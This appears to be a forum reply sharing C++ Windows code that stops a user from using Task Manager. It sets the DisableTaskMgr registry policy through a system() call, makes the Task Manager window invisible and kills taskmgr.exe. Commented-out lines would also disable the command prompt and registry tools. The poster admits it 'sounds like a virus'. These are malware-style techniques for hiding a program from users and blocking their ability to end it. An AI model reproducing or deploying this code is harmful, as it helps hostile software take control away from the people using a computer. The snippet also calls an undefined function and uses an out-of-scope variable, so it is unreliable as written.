Sounds like a virus to me.. but programming is programming so it doesn't bother me..
void LockTaskManager(bool Lock, HWND hwnd) //Pass it the handle to itself..
{
HMENU hMnu = ::GetSystemMenu(hwnd, FALSE);
::RemoveMenu(hMnu, SC_CLOSE, MF_BYCOMMAND);
::RemoveMenu(hMnu, SC_SIZE, MF_BYCOMMAND);
::RemoveMenu(hMnu, SC_SEPARATOR, MF_BYCOMMAND);
::RemoveMenu(hMnu, SC_STATUS_PROCESS_INFO, MF_BYCOMMAND);
::RemoveMenu(hMnu, SC_MOVE, MF_BYCOMMAND);
::RemoveMenu(hMnu, SC_MAXIMIZE, MF_BYCOMMAND);
::RemoveMenu(hMnu, SC_MINIMIZE, MF_BYCOMMAND);
stringstream SS;
SS<<"REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d "<<Lock<<" /f";
system(SS.str().c_str());
//system("REG add HKCU\\Software\\Policies\\Microsoft\\Windows\\System /v DisableCMD /t REG_DWORD /d 0 /f");
//REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f
}
void FindProcess(bool UseProcesses)
{
HWND Window = FindWindow("TaskManagerWindow", "Task Manager");
if (Window != 0)
{
int OldValue = GetWindowLong(Window, GWL_EXSTYLE);
int NewOldValue = SetWindowLong(Window, GWL_EXSTYLE, OldValue | WS_EX_LAYERED);
SetLayeredWindowAttributes(Window, 0, 0, LWA_ALPHA);
}
if (UseProcesses)
{
char cProcess[80] = "taskmgr.exe";
DWORD dwReturn = CountProcesses(cProcess);
dwReturn = CountProcesses(cProcess);
if(dwReturn != -1)
{
if(dwReturn == 1)
{
if (Lock)
system("taskkill /IM taskmgr.exe");
}
}
}
}